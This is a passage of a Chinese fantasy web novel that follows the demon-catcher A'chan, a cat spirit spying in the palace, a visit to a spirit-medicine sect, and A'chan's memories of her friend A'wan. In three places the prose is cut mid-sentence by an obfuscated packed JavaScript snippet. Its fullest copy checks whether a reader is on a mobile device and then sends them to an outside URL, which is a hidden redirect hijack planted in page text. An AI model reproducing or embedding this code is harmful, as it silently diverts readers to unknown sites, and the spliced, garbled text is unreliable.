尽管霍彦先知道,煜王为人风.流多情,一见倾心的女子没有一千也有八百,问就是个个都感觉很熟悉,不知道在哪里见过,让人很难评价。 但因阿婵在霍彦先心中,先入为主是个本领高强、藏有很多秘密的女子,煜王又身在皇家,不得不让他多想几分,所以才让杨奉安去查他们之间的交集。 如果他们之间有什么关系……霍彦先的第一感觉就是,必然不会是什么好事。 希望是自己多心。 那晚在江边,霍彦先与阿婵和江伥道别,阿婵没有问他接下来的行程,也没有猜测他的行程并做出一些星占预言,他也同样没问。这让霍彦先感到放松。 他是真怕她又目光炯炯地说出什么灾祸即将到来,提醒他小心,让他精神紧张夜不能寐。 况且,霍彦先也确实觉得没必要再与阿婵产生什么交集,虽说他俩确实有共患难的交情,这样说或许有些冷酷无情。 但每次见到阿婵,不是她被绑起来,就是他受伤,再加上足以毁灭一方天地的妖怪,想想就头疼,不见的话说明天下太平,对大家都好。 而且,职务之外,他俩都并不是热衷与人交往的人。 霍彦先是碍于绣衣副察事的身份,朝中人人都对他敬而远之,自从杜时衡死后,公务日益繁忙,更没有闲情去和谁交心。 至于阿婵,他想起她独自一人时清冷疏离的样子,感觉她也不遑多让。 彼此身上背负的太多,默契地不问、不见,就这样相忘于江湖,各自忙碌,最好。 霍彦先强行让自己收回思绪,一路押解重犯,容不得半点疏忽,时间紧,任务重,他打起十二分精神,向着桓安进发。 *** 初昏时分,江边。 这些日子,富安佛塔已经由新任富州都督府的代理官员班底主持重修,林慎之、伍幔青二人的庙祠也日渐修缮成型。 富州城又恢复了日常遍地三尺高香的烟火气息。 阿婵来到林、伍二人的庙祠前祭拜。 “二位安好,我马上要启程回桓安了,希望我们都一切顺利。” 阿婵心中默念,上了三柱降真香,与林伍二人告别。 香火柔和明亮,火花四溅,香灰频落,乃为吉兆。 牡丹花妖立誓在此守护林伍庙祠,见阿婵要走,也出来送别。 与花妖分别,阿婵回到住所,她一路已经感受到焰炁饕妖的躁动,于是在院中燃起百刻香。 “好啦好啦,林伍二位神仙的香火就别吃啦,吃这个凑合一下,等到了桓安,再带你吃香的喝辣的。” 焰炁饕妖努力通过劈叉的小眼,表示委屈和不满,但也没有办法,只能大口大口吞嚼阿婵给它的百刻香。 勉强喂饱焰炁饕妖,将其收起,阿婵又掏出几片龟甲,用不同的力道将其掼到地上,捡起,反复摩挲着上面的裂纹…… 直到三更天,百刻香燃尽,阿婵眼皮终于开始发沉。 迷迷糊糊之间,她眼前出现了一座雕梁玉砌的宫殿,烛火明亮。 她听见一道年轻清亮的声音说:“父皇,应贤操纵妖蛊,残害百姓,若不早日铲除,祸患无穷,儿臣请求前去捉拿,为圣人分忧。” 身着龙袍的圣人颇具威严的声音传来:“他妖术高超,你不怕死吗?” “若能为父皇、百姓分忧,儿臣万死不辞!” “好,难得元肇你有此护国爱民之心,此事便交由你去办,凌元道长会和你一同前去,他道法高明,可以护你。”桓帝将煜王扶起,而后道:“正好寡人要去看看皇后,你回去准备吧。” “皇后娘娘玉.体欠安,儿臣也很久没去探望,不如和圣人一起去吧。” “也好,你随我来。” 父子二人前后一道出了宫殿,正好一道雷劈在了宫殿前的石阶之上,二人惊得后退。 一颀长身影出现在门口,将父子二人护住,电闪雷鸣,照在他的脸上,阿婵看到,是霍彦先,脸上的少年英气尚未褪.去。 宫人护卫也蜂拥而上: “护驾!护驾!” “陛下、煜王殿下,没有伤着吧。” 确认无事,一行人才向着皇后寝殿行去。 阿婵一直在角落暗中观察,面色铁青,双拳紧握。 忽然眼前一黑,“嗷呜”一声,一只通体金黄、虎斑花纹的胖狸猫从角落里窜出来,吓了她一跳。 “怎么样!上次你说窗外的视线和说话声音太小,这次够清楚了吧!” 原来是猫妖托梦。阿婵看清来者,紧绷的神经才放松下来。 猫妖一入梦,就开始骂骂咧咧:“入一次你的梦可真难,你怎么都不睡觉的!” “最近在捉妖,有点忙。”阿婵懒懒回道。 “我儿子怎么样了,你不睡觉我怎么看我儿子?”猫妖声音呕哑,像个老妪。 “放心,我明天就顺路去看它。前段时间,我已经按照约定让它拜入五蕴山药犀大妖门下修炼,虽然它一只爪子断了,但不妨碍继续修炼。” 猫妖身躯肥硕,扫着蓬松的尾巴踱步过来,一屁.股坐在地上,一双琥珀色.猫眼看着阿婵,充满怀疑。 阿婵已经习惯了它的菜刀眼,视若无睹,“找了三年半终于找到了,真是辛苦你了。” 说起这个,猫妖又开始骂骂咧咧,“不知道谁这么狠毒,宫中死掉的人都没有魂魄,直接灰飞烟灭了,真是造孽!我只能去翻死壁虎、死老鼠的尸体,真是恶心死了!” 说着它似乎回想起什么令人作呕的事物,浑身一激灵,舔舔爪子。 “看你中气十足,又胖了许多,宫中的玉衡灵璧的灵气很是滋养嘛,不枉我当年千里迢迢把你送到圣人身边。” 提到这个,猫妖气焰一下就小了许多。 六年前,它在咸胫山修炼,本来是可以顺利渡劫飞升的,偏它那个暴躁易冲动的小儿子惹到了大妖,差点被打死,断了一只爪子。 它修炼到紧要关头,忍痛放弃渡劫,从大妖手下救下儿子,但自己拼尽全力受了大妖一击,本以为死定了,和儿子找个树坑猫着等死,结果阿婵路过救了它们。 后来,它和阿婵立下契约,阿婵送它进宫,成功留在圣人身边,宫中圣物玉衡灵璧散发的灵气,可以助它恢复修为。还帮它把那断爪的儿子,送去五蕴山治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些年,猫妖在冷宫废井中找到了很多冤魂,但无一例外,都没有六年前的记忆,它不禁也开始好奇,六年前到底发生了什么,值得高人用术法抹去这么多人的记忆,毕竟,这得花费不少修为才能做到。 但没有办法,它已与阿婵订立契约,如果找不出阿婵需要的有用信息,那它的儿子,就不能继续治伤。 想它当年在山中也是自在修仙,只要不惹大妖,到哪儿都是横着走,但就只有这么一个儿子是软肋,它的小命还掌握在阿婵手中。 没办法,为了儿子,它只能咬着牙继续想办法帮阿婵找消息。 人的魂魄没有记忆,它就只能去阴暗的水沟,宫殿的犄角旮旯去找那些鼠虫鸟兽,看能不能打探到点有用的东西。 但大部分不修炼的普通鼠虫鸟兽,要么寿命短,扛不过六年,要么脑子小,记不住六天前的事,可给它愁坏了。 那段时间圣人天天问它:“朕的金丝虎啊,你天天吃的也不少,怎么还这么瘦?” 它真是敢怒不敢言,要不是还有儿子这个软肋,它真想大声对圣人喊:“谁摊上这种契约能不瘦啊!” 但事情还得办,它实在没办法,只能一个个去翻找死去的鼠虫鸟兽的魂魄,读取记忆,这次虽然辛苦一些,但皇天不负有心狸,总算找到了令阿婵满意的消息。 刚才阿婵梦中那个宫殿里发生的事,就是它在宫殿之下排水沟中的一只陈年死耗子记忆中读取的。 其实早在三年半之前,它已经从一只死壁虎魂魄中找到了这段记忆,但是阿婵非说窗外视线不好,声音太小听不清楚,她必须要知道里面到底都有谁,在说什么。 它那时候真的想撂挑子不干了!反正自己和儿子的伤也治好了,“毁灭吧!大不了不修炼了!这活儿谁爱干谁干!” 但阿婵又提出来,说可以送它儿子去药犀门修炼。 五蕴山的药犀门,由药犀大妖掌管,灵药众多,那可是众妖梦寐以求的修炼圣地,谁会不想去? 再一次,它被阿婵拿捏了软肋,为了送儿子修炼,它就只能耐着性子再找。 现在它根本不想回忆到底是怎么在宫殿臭水沟里找到了一堆陈年死耗子的尸骨,又是怎么在这一堆烂骨头里扒拉来扒拉去,终于找到了那只死耗子魂魄中的记忆,简直熏死它了! 34. 发癫 “上次和你说的卷宗库,里面东西太多,要慢慢读,目前还没找到什么有用的东西。但我最近发现,卷宗库里还有一道暗门,似乎被什么人用法术搞了个结界,进不去。”猫妖十分烦恼。 “以你的修为也突破不了禁制?”阿婵惊讶。 “不行,最近玉衡灵璧的灵气在减少,我能吸收的也少,打不开那个结界。” 阿婵皱眉,如此看来,那道门之后一定隐藏了不少秘密,必须找机会进去看看。 “好了,该说的我都说了,什么时候让我见我儿子。” “明天。” 烛火劈啪作响,雨水敲打窗棂,夏雷隆隆,阿婵被惊醒,吐.出一口鲜血。 她将余血咳尽,看旁边的百刻香已燃尽,这次猫妖入梦,她睡得久了些。 想着梦中宫殿里的场景,她眼中冷意更盛。 是时候启程回桓安了。 天亮之后,她找了一个钱庄,“收服江伥”的一百金霍彦先离开前已如数兑付。她将其兑换成银票及一些铜钱,便向桓安方向出发。 荔南府距离桓安,路程遥远,为了兑现和猫妖的约定,她中途还得绕路去五蕴山。 *** 五蕴山药犀门,隐藏在大桓南部盛州府常年云雾缭绕的绵延山脉之中,盛产珍稀灵药。 凭借这个优势,药犀门被妖界奉为最好的修炼圣地之一,也是最大的灵药流通处。 阿婵出师之后,四处云游,最初的一段历练,就是上山下海采集灵药,去药犀门进行买卖交换。 她的天赋本领侧重占星、符箓、捉妖、道医,不能通灵,所以有时遇到魂魄很难沟通。 因此,她用自己采集的灵药,从药犀门换来了“犀魂香”,幸好有此香,才能在水下和林慎之伍幔青沟通。 这是药犀门独有的灵药。 但说实话,阿婵并不喜欢来这里,因为掌管药犀门的药犀大妖十分精明,换取灵药所需付出的代价不低。 阿婵这些年四处辛苦积攒的大部分灵药和小妖怪,可能都会在这里一次清空。 每次带着鼓鼓囊囊的百妖囊来,回去空空如也,那滋味,就是俩字,心痛。 这一次,也不例外。 “我要的东西呢?”灵犀大妖身高七尺,青灰色的身躯微胖,说话温吞,但行动敏捷,阿婵一眨眼,他便出现在结界之后。 阿婵不语,打开随身背囊,将里面的东西稀里哗啦一股脑倒在地上,一时间,里面的小妖怪和灵药叠起了罗汉。 灵犀大妖手指一抬,厚厚一串蛇蜕便从地上飞到它手中,他嗅嗅闻闻,“不错,这批青鳞蛇蜕很新鲜。” 妖侍将地上的东西一一拿给灵犀大妖过目,犀角上的那对小眼睛时不时眯一下,心中不停算计着价值。 阿婵耐心等了半晌,见灵犀大妖将灵药一一检验完毕,才说:“现在可以带我去见犟牙了吧。” “跟我来。” 灵犀大妖眼神示意一下,阿婵跟着它一路穿过重重结界,来到后山。 只见藤蔓缠绕的山林之中,一只瘦小的黑黄花纹三脚猫,正龇牙咧嘴地上蹿下跳。 它的右前爪断了,但不妨碍它对着空气一通疯狂的扭、撕、拽、甩,喉咙发出低沉的吼叫,好似空中有什么无形的东西正在和他干架。 “它这是……怎么了?”阿婵好奇,“这里有什么我看不见的妖怪吗?” 虽然知道猫妖儿子的脾气随了它老娘,比较暴躁,但如此发癫还是头一次见到。 “没有,我罚它独自在后山采集灵菌,没想到它竟背着我偷吃,应该是吃过量了。” “……”阿婵无语,“所以这是吃菌子……中毒了?” 灵犀大妖点点头,习以为常。 “它以前好像没这么疯癫?” “最近到了排煞期,每天躁狂不安,没事就跟学徒打架。”灵犀大妖眯起眼,“已经快把我的药犀门拆完了,所以被我罚来后山无量境独自采灵菌,我心想不接触其他学徒,总不能再搞出什么事,结果就是你看到的这样。” “让他离炼丹房远点。” “已经下了禁制。”灵犀大妖深深叹了口气,“说实话,我很后悔。” “后悔收了我的灵药,收下它?” 灵犀大妖看着阿婵,一副“上当了”的表情,“光它一个给药犀门造成的破坏,比其他所有学徒都多。 阿婵露出奸诈微笑,“我的灵药,也不是那么好收的。” 灵犀大妖翻了个白眼,心中默念“算你狠”,但是自己收的徒弟,含泪也要忍着。 “它吃这个,不会有问题吧?”阿婵不确定地问,“好不容易救回来的。” “会伤一阵脑子。”灵犀大妖摸.摸鼻子。 “哦,那没事了。”阿婵放下心来,反正也没多少脑子。 “我看也是。”灵犀大妖抱臂点头表示同意。 “好了,我要让它阿娘见见它。” “又要见?你这会不会太频繁了?”灵犀大妖惊讶。 “这是契约,必须履行。” 阿婵说着,便就地盘腿坐下,服下催眠灵药,以便让猫妖快速入梦。 灵犀大妖前几年替犟牙疗伤的时候,阿婵已经让猫妖入梦许多次,他企图阻止但无果,便只好旁观。 猫妖入梦,得到阿婵的允许,附到她身体上,睁开眼便看到吃灵菌发癫的小儿子,心疼不已,忙用自己在宫中吸收的玉衡灵璧的灵气,输送给小儿子。 犟牙清醒过来,母子二人互诉衷肠,哭作一团。 阿婵身为凡人,猫妖不能附体太久,时间很快过去。 猫妖按约定时间离开,阿婵醒来,胸口闷痛,呕出一.大摊血,咳了很久,才缓过来。 灵犀大妖在一旁沉默围观许久,此时也忍不住说:“这是何苦,你又不是通灵体质,强行逆势而为,频繁让这种修为深厚的精怪附体,很容易损伤你自己的根基。看你根基天赋并不低,但这几年修为进境如此缓慢,得不偿失,哪个玄门人会像你这么做。” 阿婵脸色苍白,擦了下额头微微冒出的汗,“无妨,我自有打算。” “活该!”旁边传来怒气冲冲的声音,是犟牙。 “要不是你把我阿娘强行送进宫中那个破地方,忍辱负重,到处翻死耗子替你卖命,你怎么会受这种反噬!活该!” 阿婵冷笑:“是谁让你阿娘落得如此境地?是我吗?还是某个不知天高地厚招惹大妖,让阿娘替自己受致命一击,无法渡劫,现在还发癫让阿娘给自己输送灵气的废物点心?” “……”犟牙没话反驳,气炸了毛,扑上去就要撕打阿婵,被她轻轻一拂,小小的毛茸茸一坨黑黄便在地上滚了几滚。 阿婵理了理气息,站起来,走到犟牙面前,拎着它的后颈将它提起,毫不客气地说:“你才是她要忍的辱,负的重,入门几个月了,还是不长脑子,到处闯祸,还如此不堪一击,你怎么有脸见你阿娘?” 她把犟牙扔到地上,对面还想反抗,但阿婵身上似乎有结界,无论它找什么角度,都近不了她的身。 阿婵冷眼看着它:“要不是你这个拖油瓶,你阿娘早已顺利飞升,何苦被我拿捏?就算我被附体反噬,损伤修为,你也连我的一根手指都打不过,你拿什么替你阿娘出头?” “你等着,早晚有一天,我要打的你满地找牙!”犟牙挥舞着小断爪,露出尖牙,恶狠狠道,身上源源不断散发着黑气,但颜色很淡。 “好,我等着。” 阿婵说完,把它丢在地上,头也不回走了。 灵犀大妖将阿婵带出无量境,一路出来。 “看煞气颜色,差不多快没了。”阿婵道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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踏着最后一抹余晖,阿婵终于风尘仆仆赶到了都城桓安。 她并不忙着去客栈,而是纵马到了近郊的一处密林。 此时天色已十分昏暗,前方的密林已不能以马代步了。她将马找了一个稳妥之处拴好,喂饱了草之后,便只身钻入密林。 密林中树影婆娑,比外部更加昏暗,几乎是一片漆黑,但阿婵没借助火折子,就这样信步在密林中穿梭自如,仿佛这就是她家的后院一般,毫无阻碍。 如果这时有会奇门遁甲术的人在场,便能看出,阿婵的步法,显然是有规律地遵循着奇门遁甲之术。 不过,奇门遁甲术千变万化,可以自己随意套用变化,只有阿婵本人才知道自己用的具体是什么步法。 她在密林中如游龙绕树,不多时,眼前豁然开朗,前方竟出现一座参天巨树,树干之粗壮需两个成年男子合围,树龄少说也得有四五百年。 然而,这并不是这棵树唯一的奇特之处,更令人惊奇的是,这棵树的巨大树冠之上,竟还有一座非常精致的木屋,雕梁画栋,上边挂着一块牌匾——上书“绮月星寰阁”五个粗砺大字。 阿婵走到巨树之前,停下了脚步。 十年了,她终于敢再次回到这里。 这个承载了她人生中为数不多的最快乐自在、和最痛苦难言的回忆的地方。 只是静静地看着这座树屋,阿婵的双眸就蒙上了一层雾气,好似又听到了那个欢快如同山雀般的声音: “阿婵,看,这是我亲手给你造的生辰礼物!喜不喜欢?” 35. 撞鬼 阿婵从小就被父亲应贤秘密“藏”在炁云洞。 虽然父母每年都会去霄擎山附近看她一次,对她也很好,但她十岁开始跟着师傅在外游历,每每看到小女娃依偎在父母的怀抱中,正大光明地和兄弟姐妹们一起玩耍,还是会出神地看很久。 尽管阿婵告诉自己,就算平时没有父母家人,她也过得很好,但就是,偶尔会有那么一丝羡慕和嫉妒,悄悄从她心间滑过。 到了十三四岁,她励志要做“飒飒”的天下第一坤道捉妖人,她才觉得,自己不需要家人,一点也不需要。 一个人多潇洒啊,没有父母在身边唠唠叨叨,那不是更自在? 而且兄弟姐妹之间发生争吵也怪烦的,她才不需要呢。有师傅师兄弟每天在身边嗡嗡嗡就已经很要命了。 所以,她一向独来独往。 但就在这时候,天上掉下来一个黏人的小姑娘,把她给烦的! 事情还得从她出师那次到桓安附近的山林捉妖开始说起。 那是一个冬夜,寒风冰冷刺骨,她正在山里找害了好几条人命的狼妖,却没有想到,狼妖没找到,竟让她找到了一个“兔子精”。 那个“兔子精”正趴在地上嚎啕大哭,她悄悄接近,欲将其捉拿。 将缚妖网兜头罩下之后,贴了符,兔子精竟没有现原形,阿婵才发现,那其实是个人。 也是个跟她年纪相仿的小姑娘,叫阿菀。 她衣着单薄,脑袋小小,眼睛和鼻头红红的,哭得就像一只受惊的兔子。 而狼妖就在阿菀周围埋伏,伺机准备把她吞噬,血红狼眼发出怨毒的光,夜里看起来非常骇人。 阿婵在狼妖发动攻击的时候,冲过来护住阿菀,三下五除二将狼妖收服,匕首插在狼妖命门处,一插一转,剖出内丹,狼妖顷刻间灰飞烟灭。 “不知悔改的家伙。”阿婵冷着脸将匕首取出,满脸溅的都是狼妖的血。 此前,这狼妖已经不知害了多少猎户的性命,村中请了许多道士过来警告其收敛不要再越界,它都不听,但以那些道士的本领,收服又收服不了。 碰巧阿婵路过山头,听了村人的诉苦,才决定上山除妖。 而阿婵也没看错,阿菀身上确实散发着兔妖的气息。 “没有被附身,妖气哪里来的?” 阿婵剖开狼妖的肚子,发现了被生吞的兔子精。 大概是阿菀在山中先遇到了正在被狼妖追赶逃命的兔子精,沾染了妖气,算她命大,狼妖因为想要兔子精的内丹,暂时没顾上阿菀,但她后来又迷路了,所以吃完兔子精的狼妖又盯上了她。 “你还真是傻人有傻福。”阿婵看着眼前这个呆若木鸡的小姑娘,感叹道。 阿菀已经被开膛破肚的狼妖吓呆了,因为太过害怕整个人都僵住了,喊也喊不出,动也不敢动。 再看满脸是狼血的阿婵,她以为阿婵是什么传说里的仙女侠客,赶紧抱紧她的腿,不撒手。 “你怎么一个人在这里?”阿婵皱着眉头问,“你的家人呢?” “他们都不喜欢我,不要我了,要我滚出来,我不想活了,但是、但是我又不想死,呜呜呜……” 阿菀也是能走,一路懵懵地从白天走到黑夜,此刻才反应过来自己迷路了,这么荒的山,这么冷的夜晚,还遇见这么可怕的狼妖,差点小命就丢了,她仔细一想,开始语无伦次哭哭啼啼。 阿婵费了好大的功夫才安抚好她,询问得知,这个阿菀是桓安高门大户庄氏家族的庶女。 她母亲早亡,从小只有一个乳母在身边,父亲的正妻很不喜欢她,她的生母在父亲几房妾室中也不受宠,常年住在最偏的院落。 母亲患病去世后,才三四岁的小阿菀好像被全家遗忘了一般,像个野孩子,乳母因为待遇不好,对她也很不上心,常常连饭都是冷的。 阿菀就这样,在桓安的高官家中长大,但是像根野草,潦草地长大。 及笄之后,家里的主母给她物色郎君,但对方一看她的女红就说此女无德,婉拒了。 其他房的姐妹嘲笑她,原来阿菀竟然连一个淑女最基本的女红都不会做,针线粗鄙得好似庖厨里砍瓜切菜一般,令人笑掉大牙! 传出去太丢脸了! 许多年都不曾对她有笑脸的父亲更是大怒,他最要面子,指责阿菀没个贵女的样子,给家族蒙羞,才想起给她指派管教嬷嬷,让她好好学学。 但是,阿菀脑子里好像没有那根弦,她写出来的小楷像后院砍的柴一样粗,绣出来的鸳鸯像母夜叉一样张牙舞爪。 管教嬷嬷换了一拨又一拨,教习她之前有多信誓旦旦能让她一个月脱胎换骨变成大家闺秀,教习她之后就有多快败下阵来告罪请辞。 都说没见过这样的小娘子,简直是高门奇耻大辱。 可怜阿菀每天几乎不睡觉,日夜补习“功课”,最终还是变不成一个父亲心中合格的淑女。 而且及笄之后,每次出席桓安贵女之间的宴会,几乎都会被明里暗里嘲讽一通。 阿菀在独自野蛮生长的岁月里,虽然有点孤单,经常吃不饱肚子,但也还算自在。 可是自从及笄之后,开始出去与贵女圈来往,却越发自卑畏缩,后来发展到一听到要出席宴会,就会心慌手抖,连迈出门槛都困难。 唯一能让她开心的,就是每次她在后院自己砍柴后,拿着小刀雕刻花草鸟虫,虽然歪歪扭扭、狂.野粗犷,和她去宴会上看到的大画家画谱上的精美形象一点都不一样,但她却觉得很可爱。 可父亲是个极其重视家族脸面的人,每次她出门被耻笑,回来还要挨父亲一顿骂,但她觉得还好,因为挨骂的时候她至少可以见到父亲。 后来父亲觉得她越来越丢脸,竟然拨冗亲自去她的偏院把她骂了一顿,将她辛辛苦苦雕刻的木头狸奴小犬一把火全烧了,还打了她一巴掌,让她滚出家门,再也不要回来。 脸上火辣辣地疼,但她的心更疼。那些木头狸奴小犬,可都是平常陪她一起吃饭睡觉的家人啊,那么多年的陪伴,怎么可以一把火全烧了! 家人没有了,父亲也要她滚,她能去哪里呢? 她懵懵地走出家门,沿着官道一直走,一直走,边走边哭,哭过了城门,走到了夜里,根本没出过城的她晕头转向,竟然一口气走到了这荒山密林。 冬夜很冷,她出门的时候根本没穿厚的外裳,也没吃饭,现在又饿又冷,没有力气,就跌倒在山间,然后就碰到了阿婵。 “有点警惕性好不好,再差一点你就被狼妖吃掉了!” 阿婵自从十三岁之后励志要做“飒飒”的天下第一坤道捉妖人,就不喜欢这种遇事只会哭哭啼啼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992323|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点不知道自救的小娘子。 阿菀猛猛点头,害怕的眼泪还是止不住地流,但眼神里都是对阿婵的崇拜,好似阿婵是天神下凡,拯救她于水火。 救完人,阿婵拍拍屁.股准备走人,岂料阿菀成了甩不掉的狗皮膏药。 “仙女姐姐,你就收下我嘛,我会劈柴扫地,洗衣做饭,我可以当你的婢女。” “女侠姐姐,你收我做徒弟好不好,我想跟你学本事。” “道长姐姐,求求你了……” 啊啊啊啊啊,阿婵简直要疯了!怎么会这样!她已经跟着自己走了一个时辰了,怎么唠唠叨叨一点都不带停的,不是很虚弱吗,怎么比她师傅还烦! 阿婵猛地转过身,刚想骂她两句让她闭嘴,不要再缠着她了,结果阿菀就直挺挺地在她面前晕了过去。 哎,真的是……头痛。 阿婵的“飒飒”计划刚出炉不久便宣布流产,还得生火打猎给这个小跟屁虫取暖、烤肉,好不容易才让她醒过来。 醒来之后,阿婵也不可能真的让阿菀跟着她。天亮以后,她就送阿菀回家了——从墙上直接翻到偏院里,把她放下。 临别时,阿婵没多说什么,只是给了她一些治风寒的药,让她按时吃,还有一道护身符,让她好生揣着,再遇见妖怪也能不必死得那么快。 可是后来,阿婵在桓安被一个富户邀请去捉妖的时候,又碰到了阿菀。 那时候,几个所谓的高门贵女正在对阿菀冷嘲热讽,说听闻她的琴技惊天地泣鬼神,今天是个好日子,不如给大家弹奏一曲,让大家一饱耳福。 阿菀尴尬得满脸通红,不断推拒,那几个高门贵女却咄咄逼人,穷追不舍,直到把阿菀逼得失足落入身后结了薄薄一层冰的水塘。 当时,阿婵刚在后院的地里刨出一具陈年僵尸,解决了这家主人常年后院夜里闹鬼的心结。 本来她干完活就准备拿钱走人,路过庭院时,却看到大冬天在冰水里泡着的阿菀,瑟瑟发.抖,非常虚弱。 在山间那晚,阿菀冻得落了些风寒,还没完全恢复,但那些贵女却不让她上岸,故意让她泡在冰水里。 实在看不过去,阿婵“失手”放了僵尸,绿毛僵尸满院子“乱窜”,把那群不知道优越感从哪里来的贵女们吓得魂飞魄散,四处逃窜,崴脚的崴脚,趴地的趴地,阿婵趁乱才把阿菀从冰水里捞上来。 “这身子骨也太弱了。”阿婵十分嫌弃,伸出手给阿菀把脉,却发现阿菀胳膊上伤痕累累,看得她直皱眉,把阿菀直接带到自己的住所。 “怎么弄的?”等阿菀从榻上醒来,阿婵指着她手臂上的伤痕说。 “是……长姐……”阿菀还十分虚弱,虽然盖了被衾,但她浑身发烫,止不住地哆嗦,从牙缝里挤出这几个字。 长姐,是庄大人的嫡女,庄菡,正妻所出,全家极尽宠爱。 却还是要欺压自己的庶妹,不止是胳膊,是遍体鳞伤,针扎、掐痕、烫痕,不一而足,只是穿上衣服看不出来。 只会暗箭伤人,有意思吗? 没有兄弟姐妹的阿婵,对此表示深深不解,隔天就去庄氏府上查探了庄菡的行踪,趁她出去游玩时放出小妖怪,把她从寺庙台阶上绊倒,滚了下去。 隔三差五来一次,挂彩为止,新伤旧伤层层叠叠,搞得庄菡直呼撞鬼! 36. 女鲁班 这就导致阿婵更加甩不掉阿菀这个“狗皮膏药”了。 有时候阿婵都觉得,阿菀看向她的目光里那崇拜的光都能把她灼伤,至于嘛。 阿菀为了让阿婵不嫌弃她,就开始变着法地讨好阿婵,给阿婵送她熬夜绣的花,阿婵看着手里张牙舞爪的一团,沉默了。 “你绣的是哪种妖怪,我怎么没见过?” 阿菀的小圆脸一下子就垮了:“这是牡丹阿,国色天香的牡丹啊!” 阿婵叹了口气:“要不然你还是给我钱吧,我更喜欢钱。” 阿菀就真的把自己这些年家里给的那一点点被层层克扣的月供都拿出来,阿婵哭笑不得。 后来,有一次阿婵捉妖回来,在桓安城里的一处木匠铺子遇见阿菀,她扮成小郎君,偷偷溜出来买很多便宜的木头边角料回去。 “你买这么多边角料干什么?” 阿婵冷不丁出现在阿菀身后问了这么一句,差点把她吓死。 阿菀就说,她喜欢用木头雕刻一些小玩意儿,以前都是用劈柴的废料,但这回想给阿婵雕刻一些东西,所以要选些好木头。 “我的钱……不太多,买不了什么好的木料,只够买点边角料,但是……但是我会好好雕的,你别嫌弃……”阿菀被她抓包,小脸红红老实交代,十分窘迫。 “你会雕什么?”阿婵好奇,连绣花针都掌控不好的她,能雕木头? 阿菀拉着她坐在一棵大树下,用一下午的时间,给她雕了一只狼妖。 看着手里栩栩如生的木头狼妖,真的跟她那晚见到的一模一样,阿婵再次沉默了。 “你就看了狼妖一眼,就可以雕成这样?” 阿菀使劲点头,“实在太吓人了!这辈子我都忘不掉!” “……” 阿菀有点不好意思地挠挠头,“其实我平时也不怎么雕这些可怕的东西,我还是喜欢雕狸奴小犬,让它们排成一排陪着我,这样我一个人在院子里就不害怕了。” 说到这里,又失落起来,“只不过之前雕的那些,全让阿耶一气之下给烧了。” 说着说着,满脸委屈,要哭出来。 “那你为什么绣花绣成那样?” “拿惯了木刻刀,再拿针,总觉得不得劲儿啊。”阿菀苦着脸把十根手指放到阿婵眼前。 “你看,我这手指头太粗了,又短又粗,不像长姐那样纤细,她说我这是注定要做婢子的手。” “听她胡扯!” 阿婵让她把绣花针扔了,以后好好精研木雕技术,该拿刻刀的手,偏偏去捏针,真是暴殄天物。 为此,阿婵专门去找了一个工艺很精良的木匠,让阿菀拿出积蓄跟木匠拜师学艺。 阿菀自然是听她的,让拿钱就痛痛快快拿了。 后来阿婵去别的地方捉妖,归来见阿菀,发现她不仅雕木头小玩意的手艺十分精湛,甚至都开始学习造房子了。 “她很有天分啊!”木匠眼中欣慰,“可惜是个女娃,不然还能有大出息。” “女娃怎么了?女娃也可以有大作为!我以后就是要当天下第一坤道捉妖人和星占师的。”阿婵不服道。 阿菀从来没想过什么大出息,能活着都已经很好了,见阿婵“口出狂言”十分钦佩,如果是别的小娘子说这话,她是不信的。 本来嘛,女子能有什么出息,在家从父,出嫁从夫,天天就是做女红洗衣煮饭带孩子,要不就是在后院斗来斗去,排挤这个排挤那个,女子最光耀门楣,顶多就是入宫成为皇后,还能有什么大作为? 但不知道为什么,阿婵说出来,她就相信,一想起阿婵杀死狼妖时那满脸带血的狠厉样子,她就觉得阿婵已经是天下最厉害的女捉妖人了,但是,星占师又是什么? 阿婵看出她眼中的疑惑,晚上拉着她跳上山顶的一棵树,阿菀从来没有爬到这么高过,简直要吓死了。 她缩着脖子,整个人像鹌鹑一样蜷在阿婵怀中,紧紧抱着她的腰不放开。 “抬头。” 但阿婵发话,她还是听话地直起腰,抬起头。 “睁眼。” 她听话地睁眼,下一秒,浩瀚璀璨的星空在她眼前绵延铺开,没有了砖墙屋檐、树叶虬枝的阻挡,视线分外开阔,她被震撼得忘记了呼吸,也忘了害怕。 这可比她在偏院抬头看星星时,要辽远得多。 阿婵在空中给阿菀比划出一个大鸟的形状,“看到了吗,那是朱雀的头和眼睛,叫做鬼宿……那是朱雀的翅膀和尾巴,叫做翼宿。” 阿菀以前顶多就是在院子里抬头看看,多数时间都是低着头刻木头,在阿婵的指点下,她才看懂,原来星空里有青龙白虎朱雀玄武,真有意思啊! 白天,她跟着木匠学习,把看到的星空雕刻下来,等阿婵四处游历回来,就把青龙白虎朱雀玄武的木雕星盘送给阿婵。 虽然阿婵脸上总是淡淡的,但阿菀知道她是高兴的,眼神里的喜欢不会骗人。 阿菀沉迷刻木头,依旧学不好绣花,还是会被她的姐妹和那些贵女们耻笑,被阿耶怒骂,但她慢慢地好像不在乎了。 因为她跟着木匠学雕刻,竟然很快就能上手,其他学徒怎么教也教不会的东西,在她这里经由自己多年“胡乱雕刻”居然已经无师自通。 